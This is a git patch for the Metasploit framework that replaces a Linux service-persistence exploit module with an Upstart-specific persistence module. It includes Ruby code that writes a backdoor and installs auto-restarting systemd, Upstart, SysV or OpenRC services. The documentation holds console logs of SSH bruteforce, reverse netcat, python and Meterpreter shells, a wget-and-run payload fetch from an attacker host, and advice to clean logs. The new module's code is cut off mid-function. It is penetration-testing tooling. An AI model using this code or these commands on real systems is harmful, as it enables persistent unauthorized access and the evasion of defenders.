From ccd1fe3d78671b2073dc940d84a3cc87eeaf0f1b Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 11:22:48 -0400 Subject: [PATCH 1/5] update upstart to persistence mixin --- .../linux/local/service_persistence.md | 305 ------------ .../exploit/linux/persistence/init_upstart.md | 110 +++++ .../linux/local/service_persistence.rb | 453 ------------------ .../linux/persistence/init_upstart.rb | 149 ++++++ 4 files changed, 259 insertions(+), 758 deletions(-) delete mode 100644 documentation/modules/exploit/linux/local/service_persistence.md create mode 100644 documentation/modules/exploit/linux/persistence/init_upstart.md delete mode 100644 modules/exploits/linux/local/service_persistence.rb create mode 100644 modules/exploits/linux/persistence/init_upstart.rb diff --git a/documentation/modules/exploit/linux/local/service_persistence.md b/documentation/modules/exploit/linux/local/service_persistence.md deleted file mode 100644 index c0a3c3a08a11..000000000000 --- a/documentation/modules/exploit/linux/local/service_persistence.md +++ /dev/null @@ -1,305 +0,0 @@ -### Creating A Testing Environment - - This module has been tested against: - -1. Kali 2.0 (System V) -2. Ubuntu 14.04 (Upstart) -3. Ubuntu 16.04 (systemd) -4. Ubuntu 16.04 (systemd user) -5. Centos 5 (System V) -6. Fedora 18 (systemd) -7. Fedora 20 (systemd) - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/service_persistence` - 4. Do: `set session #` - 5. Do: `set verbose true` - 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. - 8. Do: `set lhost` - 9. Do: `exploit` - 10. Do: `use exploit/multi/handler` - 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 12. Do: `set lhost` - 13. Do: `exploit -j` - 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec - 15. Get Shell - -## Options - -**target** - - There are several targets selectable, which all have their own issues. - -0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries -1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err -2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. -3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. - -**BACKDOOR_PATH** - - If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin - -**SERVICE** - - The name of the service to create. If not chosen, a 7 character random one is created. - -**SHELL_NAME** - - The name of the file to write with our shell. If not chosen, a 5 character random one is created. - -## Scenarios - -### System V (Centos 5 - root - chkconfig) - -Get initial access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set rhosts 192.168.199.131 - rhosts => 192.168.199.131 - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password centos - password => centos - msf auxiliary(ssh_login) > exploit - - [*] 192.168.199.131:22 SSH - Starting bruteforce - [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' - [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set BACKDOOR_PATH /bin - BACKDOOR_PATH => /bin - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /bin/GUIJc - [*] Max line length is 65537 - [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf - [*] Utilizing System_V - [*] Utilizing chkconfig - [*] Writing service: /etc/init.d/HqdezBF - [*] Max line length is 65537 - [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf - [*] Enabling & starting our service - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 - -Reboot the box to prove persistence - - reboot - ^Z - Background session 2? [y/N] y - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 - - -### Upstart (Ubuntu 14.04.4 Server - root) -Of note, I allowed Root login via SSH w/ password only to gain easy initial access - -Get initial access - - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.175:22 SSH - Starting bruteforce - [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (Upstart) - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(service_persistence) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Writing backdoor to /usr/local/bin/bmmjv - [*] Max line length is 65537 - [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf - [*] Utilizing Upstart - [*] Writing /etc/init/Hipnufl.conf - [*] Max line length is 65537 - [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf - [*] Starting service - [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log - [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 - -And now, we can kill the callback shell from our previous session - - ^Z - Background session 5? [y/N] y - msf exploit(service_persistence) > sessions -i 1 - [*] Starting interaction with 1... - - netstat -antp | grep 4444 - tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash - tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python - kill 1783 - [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError - kill 1789 - -Now with a multi handler, we can catch Upstart restarting the process every 10sec - - msf > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(handler) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 - - -### systemd (Ubuntu 16.04 Server - root) -Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. -While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. - -Get initial access - - msf exploit(handler) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /usr/local/bin/JSRCF - [*] Max line length is 65537 - [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf - [*] Utilizing systemd - [*] /lib/systemd/system/YelHpCx.service - [*] Max line length is 65537 - [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf - [*] Enabling service - [*] Starting service - [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 - - ^Z - Background session 7? [y/N] y - -Kill the process on the Ubuntu target box via local access #good_admin - - root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 - tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc - root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 - -And logically, we lose our shell - - [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError - -Now with a multi handler, we can catch systemd restarting the process every 10sec - - - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > show options - - Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.199.128 yes The listen address - LPORT 4444 yes The listen port - - Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 - -### systemd user (Ubuntu 16.04 Server - vagrant) - - msf exploit(linux/local/service_persistence) > options - - Module options (exploit/linux/local/service_persistence): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BACKDOOR_PATH /tmp yes Writable path to put our shell - SERVICE no Name of service to create - SESSION yes The session to run this module on - SHELL_NAME no Name of shell file to write - - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 172.28.128.1 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - - Exploit target: - - Id Name - -- ---- - 4 systemd user - - - msf exploit(linux/local/service_persistence) > run - - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.28.128.1:4444 - [*] Writing backdoor to /tmp/PPpCF - [*] Max line length is 65537 - [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf - [*] Creating user service directory - [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service - [*] Max line length is 65537 - [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf - [*] Reloading manager configuration - [*] Enabling service - [*] Starting service: OzzdRBC - [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 - - id - uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) - uname -a - Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/persistence/init_upstart.md b/documentation/modules/exploit/linux/persistence/init_upstart.md new file mode 100644 index 000000000000..86e81ef08522 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_upstart.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +This module will create a service on the box, and mark it for auto-restart. +We need enough access to write service files and potentially restart services + +Targets: + +* CentOS 6 +* Fedora >= 9, < 15 +* Ubuntu >= 9.10, <= 14.10 + +## Verification Steps + +1. Exploit a box +2. `use exploit/linux/persistence/init_sysvinit` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + +## Options + +### SERVICE + +The name of the service to create. If not chosen, a random one is created. + +### PAYLOAD_NAME + +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. + +### RESTART_LIMIT + +The number of times to restart the service. If using a threaded payload (fetch), this is how many shells you may get. Defaults to 3 + +## Scenarios + +### Ubuntu 14.04 + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO HvGO7GyB --no-check-certificate http://111.111.1.111:8181/l; chmod +x HvGO7GyB; ./HvGO7GyB& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:52092) at 2025-02-16 10:52:49 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_upstart +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_upstart) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/ubuntu) > sysinfo +Computer : Ubuntu14.04 +OS : Ubuntu 14.04 (Linux 3.13.0-24-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 1)(/home/ubuntu) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_upstart) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_upstart) > +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[+] The target appears to be vulnerable. /tmp/ is writable and system is upstart based +[*] Writing backdoor to /tmp//GXhkVaF +[*] Writing '/tmp//GXhkVaF' (250 bytes) ... +[*] Writing service: /etc/init/kKxVjJjUUOVq.conf +[*] Starting service +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/Ubuntu14.04_20250216.5324/Ubuntu14.04_20250216.5324.rc +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53847) at 2025-02-16 10:53:24 -0500 +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb deleted file mode 100644 index 55dc08028d4e..000000000000 --- a/modules/exploits/linux/local/service_persistence.rb +++ /dev/null @@ -1,453 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Unix - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Service Persistence', - 'Description' => %q{ - This module will create a service on the box, and mark it for auto-restart. - We need enough access to write service files and potentially restart services - Targets: - System V: - CentOS <= 5 - Debian <= 6 - Kali 2.0 - Ubuntu <= 9.04 - Upstart: - CentOS 6 - Fedora >= 9, < 15 - Ubuntu >= 9.10, <= 14.10 - systemd: - CentOS 7 - Debian >= 7, <=8 - Fedora >= 15 - Ubuntu >= 15.04 - Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die ', - 'Cale Black' # systemd user target - ], - 'Platform' => ['unix', 'linux'], - 'Targets' => [ - [ - 'Auto', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - [ - 'System V', :runlevel => '2 3 4 5', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - [ - 'Upstart', :runlevel => '2345', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - [ - 'openrc', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - [ - 'systemd', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/usr/local/bin' - } - ], - [ - 'systemd user', 'DefaultOptions' => - { - 'BACKDOOR_PATH' => '/tmp' - } - ] - ], - 'DefaultTarget' => 0, - 'Arch' => ARCH_CMD, - 'References' => [ - ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] - ], - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down - } - }, - 'DefaultOptions' => { - 'WfsDelay' => 5 - }, - 'DisclosureDate' => '1983-01-01', - 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS - } # system v release date - ) - ) - - register_options( - [ - OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), - OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), - OptString.new('SERVICE', [false, 'Name of service to create']) - ] - ) - register_advanced_options( - [ - OptBool.new('EnableService', [true, 'Enable the service', true]) - ] - ) - end - - def exploit - backdoor = write_shell(datastore['BACKDOOR_PATH']) - if backdoor.nil? - return - end - - path = backdoor.split('/')[0...-1].join('/') - file = backdoor.split('/')[-1] - case target.name - when 'System V' - system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) - when 'Upstart' - upstart(path, file, target.opts[:runlevel]) - when 'openrc' - openrc(path, file) - when 'systemd' - systemd(path, file) - when 'systemd user' - systemd_user(path, file) - else - if service_system_exists?('systemctl') - print_status('Utilizing systemd') - systemd(path, file) - end - if service_system_exists?('initctl') - print_status('Utilizing Upstart') - upstart(path, file, '2345') - end - if service_system_exists?('openrc') - print_status('Utilizing openrc') - openrc(path, file) - end - has_updatercd = service_system_exists?('update-rc.d') - if has_updatercd || service_system_exists?('chkconfig') # centos 5 - print_status('Utilizing System_V') - system_v(path, file, '2 3 4 5', has_updatercd) - else - print_error('Unable to detect service system') - register_file_for_cleanup(backdoor) - end - end - end - - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) - end - - def write_shell(path) - file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5) - backdoor = "#{path}/#{file_name}" - vprint_status("Writing backdoor to #{backdoor}") - write_file(backdoor, payload.encoded) - if file_exist?(backdoor) - cmd_exec("chmod 711 #{backdoor}") - backdoor - else - print_error('File not written, check permissions.') - return - end - end - - def systemd(backdoor_path, backdoor_file) - # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ - script = %{[Unit] -Description=Start daemon at boot time -After= -Requires= -[Service] -RestartSec=10s -Restart=always -TimeoutStartSec=5 -ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} -[Install] -WantedBy=multi-user.target} - - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) - service_name = "/lib/systemd/system/#{service_filename}.service" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("systemctl enable #{service_filename}.service") - end - vprint_status('Starting service') - cmd_exec("systemctl start #{service_filename}.service") - end - - def systemd_user(backdoor_path, backdoor_file) - script = <<~EOF - [Unit] - Description=Start daemon at boot time - After= - Requires= - [Service] - RemainAfterExit=yes - RestartSec=10s - Restart=always - TimeoutStartSec=5 - ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} - [Install] - WantedBy=default.target - EOF - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) - - home = cmd_exec('echo ${HOME}') - vprint_status("Creating user service directory") - cmd_exec("mkdir -p #{home}/.config/systemd/user") - - service_name = "#{home}/.config/systemd/user/#{service_filename}.service" - vprint_status("Writing service: #{service_name}") - - write_file(service_name, script) - - if !file_exist?(service_name) - print_error('File not written, check permissions. Attempting secondary location') - vprint_status("Creating user secondary service directory") - cmd_exec("mkdir -p #{home}/.local/share/systemd/user") - - service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" - vprint_status("Writing .local service: #{service_name}") - write_file(service_name, script) - - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - end - - # This was taken from pam_systemd(8) - systemd_socket_id = cmd_exec('id -u') - systemd_socket_dir = "/run/user/#{systemd_socket_id}" - vprint_status('Reloading manager configuration') - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload") - - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service") - end - - vprint_status("Starting service: #{service_filename}") - # Prefer restart over start, as it will execute already existing service files - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}") - end - - def upstart(backdoor_path, backdoor_file, runlevel) - # http://blog.terminal.com/getting-started-with-upstart/ - script = %{description \"Start daemon at boot time\" -start on filesystem or runlevel [#{runlevel}] -stop on shutdown -script - cd #{backdoor_path} - echo $$ > /var/run/#{backdoor_file}.pid - exec #{backdoor_file} -end script -post-stop exec sleep 10 -respawn -respawn limit unlimited} - - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) - service_name = "/etc/init/#{service_filename}.conf" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - vprint_status('Starting service') - cmd_exec("initctl start #{service_filename}") - vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") - end - - def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) - if has_updatercd - print_status('Utilizing update-rc.d') - else - print_status('Utilizing chkconfig') - end - script = %{#!/bin/sh -### BEGIN INIT INFO -# Provides: service -# Required-Start: $network -# Required-Stop: $network -# Default-Start: #{runlevel} -# Default-Stop: 0 1 6 -# Short-Description: Start daemon at boot time -# Description: Enable service provided by daemon. -### END INIT INFO -dir=\"#{backdoor_path}\" -cmd=\"#{backdoor_file}\" -name=`basename $0` -pid_file=\"/var/run/$name.pid\" -stdout_log=\"/var/log/$name.log\" -stderr_log=\"/var/log/$name.err\" -get_pid() { - cat \"$pid_file\" -} -is_running() { - [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1 -} -case \"$1\" in - start) - if is_running; then - echo \"Already started\" - else - echo \"Starting $name\" - cd \"$dir\" -} - - if has_updatercd - script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" - else # CentOS didn't like sudo or su... - script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" - end - script << %{ echo $! > \"$pid_file\" - if ! is_running; then - echo \"Unable to start, see $stdout_log and $stderr_log\" - exit 1 - fi - fi - ;; - stop) - if is_running; then - echo -n \"Stopping $name..\" - kill `get_pid` - for i in {1..10} - do - if ! is_running; then - break - fi - echo -n \".\" - sleep 1 - done - echo - if is_running; then - echo \"Not stopped; may still be shutting down or shutdown may have failed\" - exit 1 - else - echo \"Stopped\" - if [ -f \"$pid_file\" ]; then - rm \"$pid_file\" - fi - fi - else - echo \"Not running\" - fi - ;; - restart) - $0 stop - if is_running; then - echo \"Unable to stop, will not attempt to start\" - exit 1 - fi - $0 start - ;; - status) - if is_running; then - echo \"Running\" - else - echo \"Stopped\" - exit 1 - fi - ;; - *) - echo \"Usage: $0 {start|stop|restart|status}\" - exit 1 - ;; -esac -exit 0} - - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) - service_name = "/etc/init.d/#{service_filename}" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - cmd_exec("chmod 755 #{service_name}") - vprint_status('Enabling & starting our service') - if has_updatercd - cmd_exec("update-rc.d #{service_filename} defaults") - cmd_exec("update-rc.d #{service_filename} enable") - if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case - cmd_exec("service #{service_filename} start") - else - cmd_exec("/etc/init.d/#{service_filename} start") - end - else # CentOS - cmd_exec("chkconfig --add #{service_filename}") - cmd_exec("chkconfig #{service_filename} on") - cmd_exec("/etc/init.d/#{service_filename} start") - end - end - - def openrc(backdoor_path, backdoor_file) - # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts - # https://wiki.alpinelinux.org/wiki/OpenRC - # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md - script = %{#!/sbin/openrc-run -name=#{backdoor_file} -command=/bin/sh -command_args="#{backdoor_path}/#{backdoor_file}" -pidfile="/run/${RC_SVCNAME}.pid" -command_background="yes" -} - - service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) - service_name = "/etc/init.d/#{service_filename}" - vprint_status("Writing service: #{service_name}") - begin - upload_and_chmodx(service_name, script) - rescue Rex::Post::Meterpreter::RequestError - print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?") - end - - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("rc-update add '#{service_filename}'") - end - - vprint_status('Starting service') - cmd_exec("'/etc/init.d/#{service_filename}' start") - end -end diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb new file mode 100644 index 000000000000..ae76cc1a4d47 --- /dev/null +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service Upstart Persistence', + 'Description' => %q{ + This module will create a service on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Targets: + CentOS 6 + Fedora >= 9, < 15 + Ubuntu >= 9.10, <= 14.10 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'Upstart', { + runlevel: '2345' + } + ], + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['URL', 'http://blog.terminal.com/getting-started-with-upstart/'] + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '2006-08-24' # upstart release date + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']), + OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]), + ] + ) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + return CheckCode::Safe('/etc/init/ isnt writable') unless writable?('/etc/init/') + + return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl') + + CheckCode::Appears("#{datastore['WritableDir']} is writable and system is upstart based") + end + + def install_persistence + backdoor = 